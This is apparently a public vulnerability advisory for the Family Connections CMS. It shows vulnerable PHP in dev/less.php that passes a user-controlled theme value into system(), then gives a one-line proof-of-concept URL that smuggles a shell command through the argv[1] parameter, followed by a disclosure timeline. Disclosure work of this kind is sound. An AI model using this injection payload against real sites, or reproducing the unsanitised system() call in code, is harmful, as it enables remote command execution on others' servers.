rwx kru

vendor_________: https://www.familycms.com/
software link__: https://www.familycms.com/download.php
author_________: mr_me::rwx kru
email__________: steventhomasseeley!gmail!com

=============================================

php.ini requirements:
register_globals=On
register_argc_argv=Off


The vulnerable code is on lines 20-36 in ./dev/less.php:
==>
$theme = isset($argv[1]) ? $argv[1] : 'default';

system("clear");

if (file_exists("$dir/themes/$theme/style.css"))
{
    echo "\n[ themes/$theme/style.css ] already exists.\n\n";
    echo "Overwrite [ y/n ] ? ";
    $handle = fopen ("php://stdin","r");
    $line = fgets($handle);
    if (trim($line) != 'y')
    {
        exit;
    }
}

$worked = system("php -q ~/bin/lessphp/lessc $dir/themes/$theme/dev.less > $dir/themes/$theme/style.css");
<==

poc: http://[target]/[path]/dev/less.php?argv[1]=|id;

Timeline:
- Nov 28th discovered and reported using ticket 407 (http://sourceforge.net/apps/trac/fam-connections/ticket/407)
- Dec 2nd, vendors stated that they will fix the issue
- Dec 4th, vendors keep pushing back release 2.7.2 with no proper planned date
- Dec 4th, Public disclosure
=============================================